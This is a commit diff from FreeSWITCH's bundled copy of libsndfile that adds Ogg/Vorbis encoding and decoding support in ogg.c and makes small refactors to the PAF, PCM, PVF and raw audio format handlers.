+} /* ogg_close */
+
 int
-ogg_open	(SF_PRIVATE *psf)
-{	if (psf)
-		return SFE_UNIMPLEMENTED ;
-	return (psf && 0) ;
+ogg_open (SF_PRIVATE *psf)
+{	OGG_PRIVATE* odata = calloc (1, sizeof (OGG_PRIVATE)) ;
+	VORBIS_PRIVATE* vdata = calloc (1, sizeof (VORBIS_PRIVATE)) ;
+	int	error = 0 ;
+
+	psf->container_data = odata ;
+	psf->codec_data = vdata ;
+
+	if (psf->mode == SFM_RDWR)
+		return SFE_BAD_MODE_RW ;
+
+#if HAVE_VORBIS_VERSION_STRING
+	psf_log_printf (psf, "Vorbis library version : %s\n", vorbis_version_string ()) ;
+#endif
+
+	if (psf->mode == SFM_READ)
+	{	/* Call this here so it only gets called once, so no memory is leaked. */
+		ogg_sync_init (&odata->oy) ;
+
+		if ((error = ogg_read_header (psf, 1)))
+			return error ;
+
+		psf->read_short		= ogg_read_s ;
+		psf->read_int		= ogg_read_i ;
+		psf->read_float		= ogg_read_f ;
+		psf->read_double	= ogg_read_d ;
+		psf->sf.frames		= ogg_length (psf) ;
+		} ;
+
+	psf->container_close = ogg_close ;
+	if (psf->mode == SFM_WRITE)
+	{
+		/* Set the default vorbis quality here. */
+		vdata->quality = 0.4 ;
+
+		psf->write_header	= ogg_write_header ;
+		psf->write_short	= ogg_write_s ;
+		psf->write_int		= ogg_write_i ;
+		psf->write_float	= ogg_write_f ;
+		psf->write_double	= ogg_write_d ;
+
+		psf->sf.frames = SF_COUNT_MAX ; /* Unknown really */
+		psf->str_flags = SF_STR_ALLOW_START ;
+		} ;
+
+	psf->bytewidth = 1 ;
+	psf->blockwidth = psf->bytewidth * psf->sf.channels ;
+
+	psf->seek = ogg_seek ;
+	psf->command = ogg_command ;
+
+	/* FIXME, FIXME, FIXME : Hack these here for now and correct later. */
+	psf->sf.format = SF_FORMAT_OGG | SF_FORMAT_VORBIS ;
+	psf->sf.sections = 1 ;
+
+	psf->datalength = 1 ;
+	psf->dataoffset = 0 ;
+	/* End FIXME. */
+
+	return error ;
 } /* ogg_open */
 
+static int
+ogg_command (SF_PRIVATE *psf, int command, void * data, int datasize)
+{	VORBIS_PRIVATE *vdata = (VORBIS_PRIVATE *) psf->codec_data ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 9ff1fe9c-629e-4e9c-9ef5-3d0eb1e427a0
+	switch (command)
+	{	case SFC_SET_VBR_ENCODING_QUALITY :
+			if (data == NULL || datasize != sizeof (double))
+				return 1 ;
+
+			if (psf->have_written)
+				return 1 ;
+
+			vdata->quality = *((double *) data) ;
+
+			/* Clip range. */
+			vdata->quality = SF_MAX (0.0, SF_MIN (1.0, vdata->quality)) ;
+
+			psf_log_printf (psf, "%s : Setting SFC_SET_VBR_ENCODING_QUALITY to %f.\n", __func__, vdata->quality) ;
+			break ;
+
+		default :
+			return 0 ;
+		} ;
+
+	return 0 ;
+} /* ogg_command */
+
+static int
+ogg_rnull (int samples, void *UNUSED (vptr), int UNUSED (off) , int channels, float **UNUSED (pcm))
+{
+	return samples * channels ;
+} /* ogg_rnull */
+
+static int
+ogg_rshort (int samples, void *vptr, int off, int channels, float **pcm)
+{
+	short *ptr = (short*) vptr + off ;
+	int i = 0, j, n ;
+	for (j = 0 ; j < samples ; j++)
+		for (n = 0 ; n < channels ; n++)
+			ptr [i++] = lrintf (pcm [n][j] * 32767.0f) ;
+	return i ;
+} /* ogg_rshort */
+
+static int
+ogg_rint (int samples, void *vptr, int off, int channels, float **pcm)
+{
+	int *ptr = (int*) vptr + off ;
+	int i = 0, j, n ;
+
+	for (j = 0 ; j < samples ; j++)
+		for (n = 0 ; n < channels ; n++)
+			ptr [i++] = lrintf (pcm [n][j] * 2147483647.0f) ;
+	return i ;
+} /* ogg_rint */
+
+static int
+ogg_rfloat (int samples, void *vptr, int off, int channels, float **pcm)
+{
+	float *ptr = (float*) vptr + off ;
+	int i = 0, j, n ;
+	for (j = 0 ; j < samples ; j++)
+		for (n = 0 ; n < channels ; n++)
+			ptr [i++] = pcm [n][j] ;
+	return i ;
+} /* ogg_rfloat */
+
+static int
+ogg_rdouble (int samples, void *vptr, int off, int channels, float **pcm)
+{
+	double *ptr = (double*) vptr + off ;
+	int i = 0, j, n ;
+	for (j = 0 ; j < samples ; j++)
+		for (n = 0 ; n < channels ; n++)
+			ptr [i++] = pcm [n][j] ;
+	return i ;
+} /* ogg_rdouble */
+
+
+static sf_count_t
+ogg_read_sample (SF_PRIVATE *psf, void *ptr, sf_count_t lens, convert_func *transfn)
+{
+	VORBIS_PRIVATE *vdata = psf->codec_data ;
+	OGG_PRIVATE *odata = psf->container_data ;
+	int len, samples, i = 0 ;
+	float **pcm ;
+
+	len = lens / psf->sf.channels ;
+
+	while ((samples = vorbis_synthesis_pcmout (&vdata->vd, &pcm)) > 0)
+	{	if (samples > len) samples = len ;
+		i += transfn (samples, ptr, i, psf->sf.channels, pcm) ;
+		len -= samples ;
+		/* tell libvorbis how many samples we actually consumed */
+		vorbis_synthesis_read (&vdata->vd, samples) ;
+		vdata->loc += samples ;
+		if (len == 0)
+			return i ; /* Is this necessary */
+	}
+	goto start0 ;		 /* Jump into the nasty nest */
+	while (len > 0 && !odata->eos)
+	{
+		while (len > 0 && !odata->eos)
+		{	int result = ogg_sync_pageout (&odata->oy, &odata->og) ;
+			if (result == 0) break ; /* need more data */
+			if (result < 0)
+			{	/* missing or corrupt data at this page position */
+				psf_log_printf (psf, "Corrupt or missing data in bitstream ; continuing...\n") ;
+				}
+			else
+			{	/* can safely ignore errors at this point */
+				ogg_stream_pagein (&odata->os, &odata->og) ;
+			start0:
+				while (1)
+				{	result = ogg_stream_packetout (&odata->os, &odata->op) ;
+					if (result == 0)
+						break ; /* need more data */
+					if (result < 0)
+					{	/* missing or corrupt data at this page position */
+						/* no reason to complain ; already complained above */
+						}
+					else
+					{	/* we have a packet.	Decode it */
+						if (vorbis_synthesis (&vdata->vb, &odata->op) == 0) /* test for success! */
+							vorbis_synthesis_blockin (&vdata->vd, &vdata->vb) ;
+		  /*
+		  **pcm is a multichannel float vector.	 In stereo, for
+		  example, pcm [0] is left, and pcm [1] is right.	 samples is
+		  the size of each channel.	 Convert the float values
+		  (-1.<=range<=1.) to whatever PCM format and write it out */
+
+						while ((samples = vorbis_synthesis_pcmout (&vdata->vd, &pcm)) > 0)
+						{	if (samples>len) samples = len ;
+							i += transfn (samples, ptr, i, psf->sf.channels, pcm) ;
+							len -= samples ;
+							/* tell libvorbis how many samples we actually consumed */
+							vorbis_synthesis_read (&vdata->vd, samples) ;
+							vdata->loc += samples ;
+							if (len == 0)
+								return i ; /* Is this necessary */
+							} ;
+					}
+				}
+				if (ogg_page_eos (&odata->og)) odata->eos = 1 ;
+			}
+		}
+		if (!odata->eos)
+		{	char *buffer ;
+			int bytes ;
+			buffer = ogg_sync_buffer (&odata->oy, 4096) ;
+			bytes = psf_fread (buffer, 1, 4096, psf) ;
+			ogg_sync_wrote (&odata->oy, bytes) ;
+			if (bytes == 0) odata->eos = 1 ;
+		}
+	}
+	return i ;
+} /* ogg_read_sample */
+
+static sf_count_t
+ogg_read_s (SF_PRIVATE *psf, short *ptr, sf_count_t lens)
+{	return ogg_read_sample (psf, (void*) ptr, lens, ogg_rshort) ;
+} /* ogg_read_s */
+
+static sf_count_t
+ogg_read_i (SF_PRIVATE *psf, int *ptr, sf_count_t lens)
+{	return ogg_read_sample (psf, (void*) ptr, lens, ogg_rint) ;
+} /* ogg_read_i */
+
+static sf_count_t
+ogg_read_f (SF_PRIVATE *psf, float *ptr, sf_count_t lens)
+{	return ogg_read_sample (psf, (void*) ptr, lens, ogg_rfloat) ;
+} /* ogg_read_f */
+
+static sf_count_t
+ogg_read_d (SF_PRIVATE *psf, double *ptr, sf_count_t lens)
+{	return ogg_read_sample (psf, (void*) ptr, lens, ogg_rdouble) ;
+} /* ogg_read_d */
+
+/*==============================================================================
 */
+
+static void
+ogg_write_samples (SF_PRIVATE *psf, OGG_PRIVATE *odata, VORBIS_PRIVATE *vdata, int in_frames)
+{
+	vorbis_analysis_wrote (&vdata->vd, in_frames) ;
+
+	/*
+	**	Vorbis does some data preanalysis, then divvies up blocks for
+	**	more involved (potentially parallel) processing. Get a single
+	**	block for encoding now.
+	*/
+	while (vorbis_analysis_blockout (&vdata->vd, &vdata->vb) == 1)
+	{
+		/* analysis, assume we want to use bitrate management */
+		vorbis_analysis (&vdata->vb, NULL) ;
+		vorbis_bitrate_addblock (&vdata->vb) ;
+
+		while (vorbis_bitrate_flushpacket (&vdata->vd, &odata->op))
+		{
+			/* weld the packet into the bitstream */
+			ogg_stream_packetin (&odata->os, &odata->op) ;
+
+			/* write out pages (if any) */
+			while (!odata->eos)
+			{	int result = ogg_stream_pageout (&odata->os, &odata->og) ;
+				if (result == 0)
+					break ;
+				psf_fwrite (odata->og.header, 1, odata->og.header_len, psf) ;
+				psf_fwrite (odata->og.body, 1, odata->og.body_len, psf) ;
+
+				/*	This could be set above, but for illustrative purposes, I do
+				**	it here (to show that vorbis does know where the stream ends) */
+				if (ogg_page_eos (&odata->og))
+					odata->eos = 1 ;
+				} ;
+			} ;
+		} ;
+
+	vdata->loc += in_frames ;
+} /* ogg_write_data */
+
+
+static sf_count_t
+ogg_write_s (SF_PRIVATE *psf, const short *ptr, sf_count_t lens)
+{
+	int i, m, j = 0 ;
+	OGG_PRIVATE *odata = (OGG_PRIVATE *) psf->container_data ;
+	VORBIS_PRIVATE *vdata = (VORBIS_PRIVATE *) psf->codec_data ;
+	int in_frames = lens / psf->sf.channels ;
+	float **buffer = vorbis_analysis_buffer (&vdata->vd, in_frames) ;
+	for (i = 0 ; i < in_frames ; i++)
+		for (m = 0 ; m < psf->sf.channels ; m++)
+			buffer [m][i] = (float) (ptr [j++]) / 32767.0f ;
+
+	ogg_write_samples (psf, odata, vdata, in_frames) ;
+
+	return lens ;
+} /* ogg_write_s */
+
+static sf_count_t
+ogg_write_i (SF_PRIVATE *psf, const int *ptr, sf_count_t lens)
+{	int i, m, j = 0 ;
+	OGG_PRIVATE *odata = (OGG_PRIVATE *) psf->container_data ;
+	VORBIS_PRIVATE *vdata = (VORBIS_PRIVATE *) psf->codec_data ;
+	int in_frames = lens / psf->sf.channels ;
+	float **buffer = vorbis_analysis_buffer (&vdata->vd, in_frames) ;
+	for (i = 0 ; i < in_frames ; i++)
+		for (m = 0 ; m < psf->sf.channels ; m++)
+			buffer [m][i] = (float) (ptr [j++]) / 2147483647.0f ;
+
+	ogg_write_samples (psf, odata, vdata, in_frames) ;
+
+	return lens ;
+} /* ogg_write_i */
+
+static sf_count_t
+ogg_write_f (SF_PRIVATE *psf, const float *ptr, sf_count_t lens)
+{	int i, m, j = 0 ;
+	OGG_PRIVATE *odata = (OGG_PRIVATE *) psf->container_data ;
+	VORBIS_PRIVATE *vdata = (VORBIS_PRIVATE *) psf->codec_data ;
+	int in_frames = lens / psf->sf.channels ;
+	float **buffer = vorbis_analysis_buffer (&vdata->vd, in_frames) ;
+	for (i = 0 ; i < in_frames ; i++)
+		for (m = 0 ; m < psf->sf.channels ; m++)
+			buffer [m][i] = ptr [j++] ;
+
+	ogg_write_samples (psf, odata, vdata, in_frames) ;
+
+	return lens ;
+} /* ogg_write_f */
+
+static sf_count_t
+ogg_write_d (SF_PRIVATE *psf, const double *ptr, sf_count_t lens)
+{	int i, m, j = 0 ;
+	OGG_PRIVATE *odata = (OGG_PRIVATE *) psf->container_data ;
+	VORBIS_PRIVATE *vdata = (VORBIS_PRIVATE *) psf->codec_data ;
+	int in_frames = lens / psf->sf.channels ;
+	float **buffer = vorbis_analysis_buffer (&vdata->vd, in_frames) ;
+	for (i = 0 ; i < in_frames ; i++)
+		for (m = 0 ; m < psf->sf.channels ; m++)
+			buffer [m][i] = (float) ptr [j++] ;
+
+	ogg_write_samples (psf, odata, vdata, in_frames) ;
+
+	return lens ;
+} /* ogg_write_d */
+
+static sf_count_t
+ogg_seek (SF_PRIVATE *psf, int UNUSED (mode), sf_count_t offset)
+{
+	OGG_PRIVATE *odata = (OGG_PRIVATE *) psf->container_data ;
+	VORBIS_PRIVATE *vdata = (VORBIS_PRIVATE *) psf->codec_data ;
+
+	if (odata == NULL || vdata == NULL)
+		return 0 ;
+
+	if (offset < 0)
+	{	psf->error = SFE_BAD_SEEK ;
+		return ((sf_count_t) -1) ;
+		} ;
+
+	if (psf->mode == SFM_READ)
+	{	sf_count_t target = offset - vdata->loc ;
+
+		if (target < 0)
+		{	/* 12 to allow for OggS bit */
+			psf_fseek (psf, 12, SEEK_SET) ;
+			ogg_read_header (psf, 0) ; /* Reset state */
+			target = offset ;
+			} ;
+
+		while (target > 0)
+		{	sf_count_t m = target > 4096 ? 4096 : target ;
+
+			/*
+			**	Need to multiply by channels here because the seek is done in
+			**	terms of frames and the read function is done in terms of
+			**	samples.
+			*/
+			ogg_read_sample (psf, (void *) NULL, m * psf->sf.channels, ogg_rnull) ;
+
+			target -= m ;
+			} ;
+
+		return vdata->loc ;
+		} ;
+
+	return 0 ;
+} /* ogg_seek */
+
+/*==============================================================================
+**	Most of the following code was snipped from Mike Smith's ogginfo utility
+**	which is part of vorbis-tools.
+**	Vorbis tools is released under the GPL but Mike has kindly allowed the
+**	following to be relicensed as LGPL for libsndfile.
+*/
+
+typedef struct
+{
+	int isillegal ;
+	int shownillegal ;
+	int isnew ;
+	int end ;
+
+	uint32_t serial ; /* must be 32 bit unsigned */
+	ogg_stream_state os ;
+
+	vorbis_info vi ;
+	vorbis_comment vc ;
+	sf_count_t lastgranulepos ;
+	int doneheaders ;
+} stream_processor ;
+
+typedef struct
+{
+	stream_processor *streams ;
+	int allocated ;
+	int used ;
+	int in_headers ;
+} stream_set ;
+
+static stream_set *
+create_stream_set (void)
+{	stream_set *set = calloc (1, sizeof (stream_set)) ;
+
+	set->streams = calloc (5, sizeof (stream_processor)) ;
+	set->allocated = 5 ;
+	set->used = 0 ;
+
+	return set ;
+} /* create_stream_set */
+
+static void
+vorbis_end (stream_processor *stream, sf_count_t * len)
+{	*len += stream->lastgranulepos ;
+	vorbis_comment_clear (&stream->vc) ;
+	vorbis_info_clear (&stream->vi) ;
+} /* vorbis_end */
+
+static void
+free_stream_set (stream_set *set, sf_count_t * len)
+{	int i ;
+
+	for (i = 0 ; i < set->used ; i++)
+	{	if (!set->streams [i].end)
+			vorbis_end (&set->streams [i], len) ;
+		ogg_stream_clear (&set->streams [i].os) ;
+		} ;
+
+	free (set->streams) ;
+	free (set) ;
+} /* free_stream_set */
+
+static int
+streams_open (stream_set *set)
+{	int i, res = 0 ;
+
+	for (i = 0 ; i < set->used ; i++)
+		if (!set->streams [i].end)
+			res ++ ;
+	return res ;
+} /* streams_open */
+
+static stream_processor *
+find_stream_processor (stream_set *set, ogg_page *page)
+{	uint32_t serial = ogg_page_serialno (page) ;
+	int i, found = 0 ;
+	int invalid = 0 ;
+
+	stream_processor *stream ;
+
+	for (i = 0 ; i < set->used ; i++)
+	{
+		if (serial == set->streams [i].serial)
+		{	/* We have a match! */
+			found = 1 ;
+			stream = & (set->streams [i]) ;
+
+			set->in_headers = 0 ;
+			/* if we have detected EOS, then this can't occur here. */
+			if (stream->end)
+			{	stream->isillegal = 1 ;
+				return stream ;
+				}
+
+			stream->isnew = 0 ;
+			stream->end = ogg_page_eos (page) ;
+			stream->serial = serial ;
+			return stream ;
+			} ;
+		} ;
+
+	/* If there are streams open, and we've reached the end of the
+	** headers, then we can't be starting a new stream.
+	** XXX: might this sometimes catch ok streams if EOS flag is missing,
+	** but the stream is otherwise ok?
+	*/
+	if (streams_open (set) && !set->in_headers)
+		invalid = 1 ;
+
+	set->in_headers = 1 ;
+
+	if (set->allocated < set->used)
+		stream = &set->streams [set->used] ;
+	else
+	{	set->allocated += 5 ;
+		set->streams = realloc (set->streams, sizeof (stream_processor) * set->allocated) ;
+		stream = &set->streams [set->used] ;
+		} ;
+
+	set->used++ ;
+
+	stream->isnew = 1 ;
+	stream->isillegal = invalid ;
+
+	{
+		int res ;
+		ogg_packet packet ;
+
+		/* We end up processing the header page twice, but that's ok. */
+		ogg_stream_init (&stream->os, serial) ;
+		ogg_stream_pagein (&stream->os, page) ;
+		res = ogg_stream_packetout (&stream->os, &packet) ;
+		if (res <= 0)
+			return NULL ;
+		else if (packet.bytes >= 7 && memcmp (packet.packet, "\x01vorbis", 7) == 0)
+		{
+			stream->lastgranulepos = 0 ;
+			vorbis_comment_init (&stream->vc) ;
+			vorbis_info_init (&stream->vi) ;
+			} ;
+
+		res = ogg_stream_packetout (&stream->os, &packet) ;
+
+		/* re-init, ready for processing */
+		ogg_stream_clear (&stream->os) ;
+		ogg_stream_init (&stream->os, serial) ;
+	}
+
+	stream->end = ogg_page_eos (page) ;
+	stream->serial = serial ;
+
+	return stream ;
+} /* find_stream_processor */
+
+static int
+ogg_length_get_next_page (SF_PRIVATE *psf, ogg_sync_state * osync, ogg_page *page)
+{	static const int CHUNK_SIZE = 4500 ;
+
+	while (ogg_sync_pageout (osync, page) <= 0)
+	{	char * buffer = ogg_sync_buffer (osync, CHUNK_SIZE) ;
+		int bytes = psf_fread (buffer, 1, 4096, psf) ;
+
+		if (bytes <= 0)
+		{	ogg_sync_wrote (osync, 0) ;
+			return 0 ;
+			} ;
+
+		ogg_sync_wrote (osync, bytes) ;
+		} ;
+
+	return 1 ;
+} /* ogg_length_get_next_page */
+
+static sf_count_t
+ogg_length_aux (SF_PRIVATE * psf)
+{
+	ogg_sync_state osync ;
+	ogg_page page ;
+	int gotpage = 0 ;
+	sf_count_t len = 0 ;
+	stream_set *processors ;
+
+	processors = create_stream_set () ;
+	if (processors == NULL)
+		return 0 ;	// out of memory?
+
+	ogg_sync_init (&osync) ;
+
+	while (ogg_length_get_next_page (psf, &osync, &page))
+	{
+		stream_processor *p = find_stream_processor (processors, &page) ;
+		gotpage = 1 ;
+
+		if (!p)
+		{	len = 0 ;
+			break ;
+			} ;
+
+		if (p->isillegal && !p->shownillegal)
+		{
+			p->shownillegal = 1 ;
+			/* If it's a new stream, we want to continue processing this page
+			** anyway to suppress additional spurious errors
+			*/
+			if (!p->isnew) continue ;
+			} ;
+
+		if (!p->isillegal)
+		{	ogg_packet packet ;
+			int header = 0 ;
+
+			ogg_stream_pagein (&p->os, &page) ;
+			if (p->doneheaders < 3)
+				header = 1 ;
+
+			while (ogg_stream_packetout (&p->os, &packet) > 0)
+			{
+				if (p->doneheaders < 3)
+				{	if (vorbis_synthesis_headerin (&p->vi, &p->vc, &packet) < 0)
+						continue ;
+					p->doneheaders ++ ;
+					} ;
+				} ;
+			if (!header)
+			{	sf_count_t gp = ogg_page_granulepos (&page) ;
+				if (gp > 0) p->lastgranulepos = gp ;
+				} ;
+			if (p->end)
+			{	vorbis_end (p, &len) ;
+				p->isillegal = 1 ;
+				} ;
+			} ;
+		} ;
+
+	ogg_sync_clear (&osync) ;
+	free_stream_set (processors, &len) ;
+
+	return len ;
+} /* ogg_length_aux */
+
+static sf_count_t
+ogg_length (SF_PRIVATE *psf)
+{	sf_count_t length ;
+	int error ;
+
+	if (psf->sf.seekable == 0)
+		return SF_COUNT_MAX ;
+
+	psf_fseek (psf, 0, SEEK_SET) ;
+	length = ogg_length_aux (psf) ;
+
+	psf_fseek (psf, 12, SEEK_SET) ;
+	if ((error = ogg_read_header (psf, 0)) != 0)
+		psf->error = error ;
+
+	return length ;
+} /* ogg_length */
+
+#else /* HAVE_EXTERNAL_LIBS */
+
+int
+ogg_open	(SF_PRIVATE *psf)
+{
+	psf_log_printf (psf, "This version of libsndfile was compiled without Ogg/Vorbis support.\n") ;
+	return SFE_UNIMPLEMENTED ;
+} /* ogg_open */
+
+#endif

Modified: freeswitch/branches/seven/libs/libsndfile/src/paf.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/paf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/paf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -23,10 +23,10 @@
 #include <fcntl.h>
 #include <string.h>
 #include <ctype.h>
+#include <math.h>
 
 #include "sndfile.h"
 #include "sfendian.h"
-#include "float_cast.h"
 #include "common.h"
 
 /*------------------------------------------------------------------------------
@@ -113,13 +113,13 @@
 			return error ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
-	{	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_PAF)
+	{	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_PAF)
 			return	SFE_BAD_OPEN_FORMAT ;
 
-		endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+		endian = SF_ENDIAN (psf->sf.format) ;
 
 		/* PAF is by default big endian. */
 		psf->endian = SF_ENDIAN_BIG ;
@@ -273,7 +273,7 @@
 } /* paf_read_header */
 
 static int
-paf_write_header (SF_PRIVATE *psf, int calc_length)
+paf_write_header (SF_PRIVATE *psf, int UNUSED (calc_length))
 {	int			paf_format ;
 
 	/* PAF header already written so no need to re-write. */
@@ -282,12 +282,7 @@
 
 	psf->dataoffset = PAF_HEADER_LENGTH ;
 
-	psf->dataoffset = PAF_HEADER_LENGTH ;
-
-	/* Prevent compiler warning. */
-	calc_length = calc_length ;
-
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 					paf_format = PAF_PCM_S8 ;
 					break ;
@@ -833,11 +828,3 @@
 	return total ;
 } /* paf24_write_d */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 477a5308-451e-4bbd-bab4-fab6caa4e884
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/pcm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/pcm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/pcm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -18,9 +18,10 @@
 
 #include	"sfconfig.h"
 
+#include <math.h>
+
 #include	"sndfile.h"
 #include	"sfendian.h"
-#include	"float_cast.h"
 #include	"common.h"
 
 /* Need to be able to handle 3 byte (24 bit) integers. So defined a
@@ -120,15 +121,22 @@
 {	int chars = 0 ;
 
 	if (psf->bytewidth == 0 || psf->sf.channels == 0)
+	{	psf_log_printf (psf, "pcm_init : internal error : bytewitdh = %d, channels = %d\n", psf->bytewidth, psf->sf.channels) ;
 		return SFE_INTERNAL ;
+		} ;
 
 	psf->blockwidth = psf->bytewidth * psf->sf.channels ;
 
-	if ((psf->sf.format & SF_FORMAT_SUBMASK) == SF_FORMAT_PCM_S8)
+	if ((SF_CODEC (psf->sf.format)) == SF_FORMAT_PCM_S8)
 		chars = SF_CHARS_SIGNED ;
-	else if ((psf->sf.format & SF_FORMAT_SUBMASK) == SF_FORMAT_PCM_U8)
+	else if ((SF_CODEC (psf->sf.format)) == SF_FORMAT_PCM_U8)
 		chars = SF_CHARS_UNSIGNED ;
 
+	if (CPU_IS_BIG_ENDIAN)
+		psf->data_endswap = (psf->endian == SF_ENDIAN_BIG) ? SF_FALSE : SF_TRUE ;
+	else
+		psf->data_endswap = (psf->endian == SF_ENDIAN_LITTLE) ? SF_FALSE : SF_TRUE ;
+
 	if (psf->mode == SFM_READ || psf->mode == SFM_RDWR)
 	{	switch (psf->bytewidth * 0x10000 + psf->endian + chars)
 		{	case (0x10000 + SF_ENDIAN_BIG + SF_CHARS_SIGNED) :
@@ -159,6 +167,7 @@
 					psf->read_double	= pcm_read_bet2d ;
 					break ;
 			case (4 * 0x10000 + SF_ENDIAN_BIG) :
+
 					psf->read_short		= pcm_read_bei2s ;
 					psf->read_int		= pcm_read_bei2i ;
 					psf->read_float		= pcm_read_bei2f ;
@@ -184,7 +193,7 @@
 					psf->read_double	= pcm_read_lei2d ;
 					break ;
 			default :
-				psf_log_printf (psf, "pcm.c returning SFE_UNIMPLEMENTED\n") ;
+				psf_log_printf (psf, "pcm.c returning SFE_UNIMPLEMENTED\nbytewidth %d    endian %d\n", psf->bytewidth, psf->endian) ;
 				return SFE_UNIMPLEMENTED ;
 			} ;
 		} ;
@@ -249,7 +258,7 @@
 					break ;
 
 			default :
-				psf_log_printf (psf, "pcm.c returning SFE_UNIMPLEMENTED\n") ;
+				psf_log_printf (psf, "pcm.c returning SFE_UNIMPLEMENTED\nbytewidth %s    endian %d\n", psf->bytewidth, psf->endian) ;
 				return SFE_UNIMPLEMENTED ;
 			} ;
 
@@ -2890,10 +2899,3 @@
 	return total ;
 } /* pcm_write_d2lei */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: d8bc7c0e-1e2f-4ff3-a28f-10ce1fbade3b
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/pvf.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/pvf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/pvf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -56,10 +56,10 @@
 			return error ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
-	{	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_PVF)
+	{	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_PVF)
 			return	SFE_BAD_OPEN_FORMAT ;
 
 		psf->endian = SF_ENDIAN_BIG ;
@@ -91,22 +91,18 @@
 */
 
 static int
-pvf_close	(SF_PRIVATE *psf)
+pvf_close	(SF_PRIVATE * UNUSED (psf))
 {
-	psf = psf ;
-
 	return 0 ;
 } /* pvf_close */
 
 static int
-pvf_write_header (SF_PRIVATE *psf, int calc_length)
+pvf_write_header (SF_PRIVATE *psf, int UNUSED (calc_length))
 {	sf_count_t	current ;
 
 	if (psf->pipeoffset > 0)
 		return 0 ;
 
-	calc_length = calc_length ; /* Avoid a compiler warning. */
-
 	current = psf_ftell (psf) ;
 
 	/* Reset the current header length to zero. */
@@ -116,7 +112,7 @@
 	if (psf->is_pipe == SF_FALSE)
 		psf_fseek (psf, 0, SEEK_SET) ;
 
-	LSF_SNPRINTF ((char*) psf->header, sizeof (psf->header), "PVF1\n%d %d %d\n",
+	snprintf ((char*) psf->header, sizeof (psf->header), "PVF1\n%d %d %d\n",
 		psf->sf.channels, psf->sf.samplerate, psf->bytewidth * 8) ;
 
 	psf->headindex = strlen ((char*) psf->header) ;
@@ -190,10 +186,3 @@
 
 	return 0 ;
 } /* pvf_read_header */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 20a26761-8bc1-41d7-b1f3-9793bf3d9864
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/raw.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/raw.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/raw.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -31,9 +31,9 @@
 raw_open	(SF_PRIVATE *psf)
 {	int	subformat, error = SFE_NO_ERROR ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
-	psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+	psf->endian = SF_ENDIAN (psf->sf.format) ;
 
 	if (CPU_IS_BIG_ENDIAN && (psf->endian == 0 || psf->endian == SF_ENDIAN_CPU))
 		psf->endian = SF_ENDIAN_BIG ;
@@ -102,10 +102,3 @@
 
 	return error ;
 } /* raw_open */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: f0066de7-d6ce-4f36-a1e0-e475c07d4e1a
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/src/rf64.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/rf64.c) (0 => 14472)


